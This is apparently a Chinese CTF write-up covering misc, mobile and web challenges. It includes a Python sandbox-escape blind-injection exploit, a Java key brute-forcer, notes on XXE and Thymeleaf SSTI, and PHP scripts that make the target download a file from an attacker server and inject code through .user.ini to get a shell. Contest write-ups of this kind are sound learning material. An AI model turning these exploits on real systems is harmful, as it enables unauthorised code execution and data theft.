赛后提交的 WriteUp,凑合看吧。
有部分题目存在改题的情况,演示时可能会按照原先题目的方法来操作。
0x01、 MISC
a) PyBox
知识点:沙箱逃逸、时间盲注
1. 先连上,似乎是个 Python 的 cli。但屏蔽了蛮多东西。
2. 测一下,找出能用的命令。
3. 把 搞flask ssti 那一套理论拿出来试试。
4. 难受,os 被屏蔽了,得想想如何绕过。
5. 试到下面的,用闭包抽出来外部参数的变量 (Python3 所以 func_closure 和 __closure__ 都可以使) 来引用 os 模块,再调用 system,因为 system 和 os 被屏蔽了,需要用加号连接起来绕过屏蔽。测试执行 sleep 5 成功了。
6. 根据题面里的提示,cut,flag,sleep,组合命令,在本地尝试读取一个文件试试。
-b 可以逐位读取。
这样可以创造布尔条件,搞盲注。
7. 最终 exp 如下。
from pwn import *
context.log_level = "debug"
sh = remote("47.112.108.17",12312, timeout=300)
sh.recvuntil(">>>")
result = ""
for i in range(1, 46):
for j in range(31, 255):
sendtime = time.time()
sh.sendline("__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('a=`cut -b " + str(i) + " /home/flag`; [ $a = \"" + chr(j) + "\" ] && sleep 3 ')")
sh.recvuntil(">>>")
recvtime = time.time()
if recvtime - sendtime > 2:
print("get!")
result += chr(j)
print(result)
break
if j == 254:
print(str(i) + " unknown!")
break
print(result)
8. 跑一下,flag 就出来了。
b) Catch fun
提示是机型,一搜就出来了,Reno.
0x02、 Mobile
a) Mblockchain
知识点:Java 逆向
1、先把 apk 下下来,然后 dex2jar 把 dex 反编译为 jar.
2、然后 jd-gui 打开看看,先看 MainActivity,可以看到把输入都交到 FlagChecker 的方法里去处理了。
3、然后看到 FlagChecker,这里是先对第一个参数做了一次 md5,然后从前中后分别取三位再做 md5。然后利用这个作为密钥给第二个参数做aes加密,做十轮,每一轮的密钥需要再做一次md5。
这里有个很关键的地方,那就是初始密钥是从一个字符串 md5 后的结果里取三位来的,那么我们只需要爆破这三位就可以搞到和原 key 等价的东西了。
4、明白了这些就好办了,java 的事情丢到 java 来处理,写个程序来爆破一下。
/**
* @author: jinzhao
* @date:2019-08-24
* @description:
*/
public class Main {
public static void main(String argv[]) {
for(int i = -128; i < 128; i++) {
for(int j = -128; j < 128; j++) {
for(int k = -128; k < 128; k++) {
try {
if(FlagChecker.checkFlag(new byte[]{(byte) i, (byte) j, (byte) k})) {
System.out.println(FlagChecker.checkFlagWithPlain(new byte[]{(byte) i, (byte) j, (byte) k}));
System.exit(0);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
System.out.println("i = " + i);
}
//try {
// String c = FlagChecker.encryptFlag(new byte[]{-121, -127, -127}, "flag{me}".getBytes());
// System.out.println(c);
//
// System.out.println(FlagChecker.decryptFlag(new byte[]{-121, -127, -127}, FlagChecker.hexStringToByte(c)));
//} catch (Exception e) {
// e.printStackTrace();
//}
}
}
/**
* @author: jinzhao
* @date:2019-08-24
* @description:
*/
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.security.Key;
import java.security.MessageDigest;
import javax.crypto.Cipher;
import javax.crypto.CipherOutputStream;
import javax.crypto.spec.SecretKeySpec;
class FlagChecker
{
public static String encryptFlag(byte[] paramString1, byte[] paramString2)
throws Exception
{
byte[] p1 = hash(paramString1);
byte[] p2 = paramString2;
int i = 0;
while (i < 10)
{
p2 = encrypt(p2, p1);
p1 = hash(p1);
i += 1;
}
return toHex(p2);
}
public static String decryptFlag(byte[] paramString1, byte[] paramString2)
throws Exception
{
byte[] p1 = hash(paramString1);
byte[] p2 = paramString2;
int i = 1;
byte[][] keys = new byte[10][];
keys[9] = p1;
while(i < 10) {
p1 = hash(p1);
i += 1;
keys[10 - i] = p1;
}
i = 0;
while (i < 10)
{
p2 = decrypt(p2, keys[i]);
i += 1;
}
return new String(p2);
}
public static boolean checkFlag(byte[] paramString1)
throws Exception
{
//byte[] p1 = hash(paramString1);
byte[] p2 = FlagChecker.hexStringToByte("74f0b165db8a628716b53a9d4f6405980db2f833afa1ed5eeb4304c5220bdc0b541f857a7348074b2a7775d691e71b490402621e8a53bad4cf7ad4fcc15f20a8066e087fc1b2ffb21c27463b5737e34738a6244e1630d8fa1bf4f38b7e71d707425c8225f240f4bd2b03d6c2471e900b75154eb6f9dfbdf5a4eca9de5163f9b3ee82959f166924e8ad5f1d744c51416a1db89638bb4d1411aa1b1307d88c1fb5");
//int i = 0;
//while (i < 10)
//{
// p2 = decrypt(p2, p1);
// p1 = hash(p1);
// i += 1;
//}
return decryptFlag(paramString1, p2).startsWith("flag");
}
public static String checkFlagWithPlain(byte[] paramString1)
throws Exception
{
//byte[] p1 = hash(paramString1);
byte[] p2 = FlagChecker.hexStringToByte("74f0b165db8a628716b53a9d4f6405980db2f833afa1ed5eeb4304c5220bdc0b541f857a7348074b2a7775d691e71b490402621e8a53bad4cf7ad4fcc15f20a8066e087fc1b2ffb21c27463b5737e34738a6244e1630d8fa1bf4f38b7e71d707425c8225f240f4bd2b03d6c2471e900b75154eb6f9dfbdf5a4eca9de5163f9b3ee82959f166924e8ad5f1d744c51416a1db89638bb4d1411aa1b1307d88c1fb5");
//int i = 0;
//while (i < 10)
//{
// p2 = decrypt(p2, p1);
// p1 = hash(p1);
// i += 1;
//}
return decryptFlag(paramString1, p2);
}
public static byte[] encrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
throws Exception
{
Object localObject = new SecretKeySpec(paramArrayOfByte2, "AES");
Cipher p2 = Cipher.getInstance("AES/ECB/PKCS5Padding");
p2.init(Cipher.ENCRYPT_MODE, (Key)localObject);
localObject = new ByteArrayOutputStream();
CipherOutputStream p3 = new CipherOutputStream((OutputStream) localObject, p2);
p3.write(paramArrayOfByte1);
p3.flush();
p3.close();
return ((ByteArrayOutputStream)localObject).toByteArray();
}
public static byte[] decrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
throws Exception
{
Object localObject = new SecretKeySpec(paramArrayOfByte2, "AES");
Cipher p2 = Cipher.getInstance("AES/ECB/PKCS5Padding");
p2.init(Cipher.DECRYPT_MODE, (Key)localObject);
localObject = new ByteArrayOutputStream();
CipherOutputStream p3 = new CipherOutputStream((OutputStream) localObject, p2);
p3.write(paramArrayOfByte1);
p3.flush();
p3.close();
return ((ByteArrayOutputStream)localObject).toByteArray();
}
public static byte[] hash(byte[] paramArrayOfByte)
throws Exception
{
MessageDigest localMessageDigest = MessageDigest.getInstance("MD5");
localMessageDigest.update(paramArrayOfByte);
return localMessageDigest.digest();
}
public static String toHex(byte[] paramArrayOfByte)
{
StringBuilder localStringBuilder = new StringBuilder();
int i = 0;
while (i < paramArrayOfByte.length)
{
String str = Integer.toHexString(paramArrayOfByte[i] & 0xFF);
if (str.length() == 1) {
localStringBuilder.append('0');
}
localStringBuilder.append(str);
i += 1;
}
return localStringBuilder.toString();
}
public static byte[] hexStringToByte(String paramString) {
int j = paramString.length();
byte[] arrayOfByte = new byte[j / 2];
int i = 0;
while (i < j) {
arrayOfByte[(i / 2)] = ((byte) ((Character.digit(paramString.charAt(i), 16) << 4) + Character.digit(paramString.charAt(i + 1), 16)));
i += 2;
}
return arrayOfByte;
}
}
这里有个坑,解密是反向操作,所以密钥要先算出来然后存上,轮次迭代的时候反着用。当然我这里先反向存然后解密时候直接用了。
5、然后运行一下 flag就出来了。
0x03、 Web
a) LookAround
知识点:Blind XXE
1、打开靶机,是这么一个页面。
2、看下源码,有个这个定时器,每 10 秒发个 xml 请求。
3、说到 xml,那就是 xxe 了。测一下这个接口,无回显。
4、然后再测了下,屏蔽了外网访问,就考虑来利用本地的 DTD 玩 XXE 了。搜到了这篇东西。
https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation
5、然后题目提示了镜像名,下个同名镜像,创建个容器,找一下有啥 dtd。
6、哟,有个文件正好上面那个文章里有,拿直接用了。
7、Flag 到手~
b) Render
知识点:SSTI
1、打开靶机,是这么个页面。
2、看下源码,有这么个请求。
似乎是把我们发出去的东西再发回来。
3、随意输个 url,发现错误页面是 Spring boot 的。
4、那就照着spring boot 的 ssti 方向来 fuzz。
5、 想到 Spring boot 常用的那几把梭,拿 Thymeleaf 的试试。测试到 [[${1+1}]]的时候返回了 2,说明是 Thymeleaf 渲染了。Thymeleaf 能拿两个中括号来取表达式的值。
6、然后就是常规操作,读文件一把梭了。参考这里 https://dotblogs.com.tw/cylcode/2018/09/21/170510,这个可以缩到一行里。
7、Flag 到手~
c) Enjoy You Self
知识点:代码审计,PHP 特性
此题存在线上改题情况。
1、打开靶机,是这样一个页面。
2、既然给了源码就来看看源码吧。
这里先检查了 filename 是不是八位 大小写字母或者数字或者下划线。是的话就创建一个这个名字的文件。然后再列文件,删除列出的第一个文件。这里有个有意思的地方,这个目录下面要是存在其他文件,那列出来的就是那个文件,我们的文件就不会被删了,就此那就可以推测出那个文件的文件名了。
3、我们在本地做个实验,来展示一下我们要删除的文件。
4、然后在 backup 下创建一个文件,就叫 abcdabcd 吧。
5、然后访问试试 /?filename=abcdabcd。
6、这个文件被删了,但程序创建的abcdabcd.txt 还存在。
7、在这个基础上写个脚本,来玩玩人肉二分法吧。
import requests
filename = "zzzzzzzz"
while True:
print(requests.get("http://47.107.255.20:18088/users/977acc6365a9bc4f1c56accf1331a3bb/",
params={"filename": filename}).text)
r = requests.get("http://47.107.255.20:18088/users/ 977acc6365a9bc4f1c56accf1331a3bb/backup/" + filename + ".txt")
print(r.status_code)
if r.status_code != 404:
print(filename)
exit(0)
从可用字符的最后一位开始。测了下服务器似乎是有定时重置还是啥的。所以需要多次尝试,有一次 200 就说明那个文件的字典序在前面了。
azzzzzzz 200,说明文件还在前面。
_zzzzzzzz 404, 说明第一位是 a 了,_ 到 a 在 ascii 表里没有在此可以使用的字符了。
aazzzzzz 404, 说明跑到文件之前了。
如此往复,跑出前七位字符 aefebab。
8、 最后一位需要特殊处理。顺序跑一下。跑到 9 的时候 200 了。
9、那就说明文件名是 aefebab8 了。打开看看,果然有东西。
10、套娃题了,那继续看吧。这个文件是个下载器,可以把远程服务器的东西下载到这个服务器上。那我们搭个恶意的服务器伪造下返回试试,这里测了很久,那时候得到下面这种方法可行。在自己服务器上创建一个文件,然后把所有访问都重写到这个文件。
11、这里就是题目之后修改的地方了,那时候这样就可以直接下载一个文件到 /uploads/glzjin/index.php,就可以直接 GetShell 了。
12、既然改题了,看看改题之后怎么做。尝试利用 .user.ini 来追加代码。
先这样下载一个文件到 glzjin/glzjin.txt.
13、然后再修改成这样,可以写到 /users/.user.ini.
14、这里动作要快,要不然会被清理。所以我写了个脚本来玩,.user.ini 会对子文件夹生效,而每个用户单独的文件夹下面有我们之前第一关的 PHP,可以用上。
import requests
while True:
print(requests.get("http://47.107.255.20:18088/src/8a66c58a168c9dc0fb622365cbe340fc.php?method=download&url=http://172.247.76.60:8302/.png").text)
r = requests.post("http://47.107.255.20:18088/users/977acc6365a9bc4f1c56accf1331a3bb/", data={"glzjin": "phpinfo();"})
print(r.status_code)
if r.status_code != 404:
print(r.text)
exit(0)
15、改下执行的语句,就可以读到 Flag 了。
16、Flag 到手~
d) Easy Realworld Challenge
知识点:人肉 FTP
说明:这题由于题目没清理 logviewer,所以那天晚上做完上面这个题之后看了下,看到了有其他队伍还是出题人之类的尝试连了下 ftp,但也没拿到 flag- -。从此得到启发,知道内网有个 FTP。
1、打开,是这样一个页面。
2、似乎是个终端,连接一手之前在 logviewer 里看到的那个内网地址的 ftp 试试。
弱密码,直接登。
3、 进被动模式,方便连接。
4、计算一下端口。
5、另外开一个终端,连上这个端口。
6、回到第一个终端,输入 LIST,再回到这个终端,看到没列出东西。
第一个终端:
第二个终端:
7、那就切换一下目录,在根目录下 list 试试。
第一终端:
第二终端:
8、 啊哈,看到 flag 了,来读下试试。
第一终端:
第二终端:
9、 Flag 到手~
e) Easy Realworld Challenge 2
知识点:RCE 点找寻。
和上题一样的靶机地址,但这题需要把这台机器 GetShell。
1、研究这个程序的源码,发现其在这里有执行命令。
而且更可怕的是,他对输入的参数没有过滤。
2、然后我们来看看怎么触发这个方法。看来得走 websocket 那里了。
3、抓包研究一下客户端和服务端的通信和触发机制,看到在ssh 连接发起之后会获取一下当前连接目标的 ssh 指纹,也就触发这个命令了。所以我们就可以在这个时候从客户端发出一个恶意消息,服务端解析之后直接格式化到命令里就可以 RCE 了。
4、至于怎么发消息,继续看一下源码,可以看到这里是 GateOne 来 hold 了 websocket的。
5、 然后在客户端尝试发一条消息看看。可以发,但需要 json 格式,和我们之前抓包抓到的东西一样。
6、 然后来尝试伪造一下获取指纹的那个消息看看。可以看到返回的错误信息里带上了我们的命令执行结果了。
7、那就不客气,来读读那个 flag 文件了。
8、 Flag 到手~
2 个评论
V0W
大佬nb
Y4er
师傅真的牛逼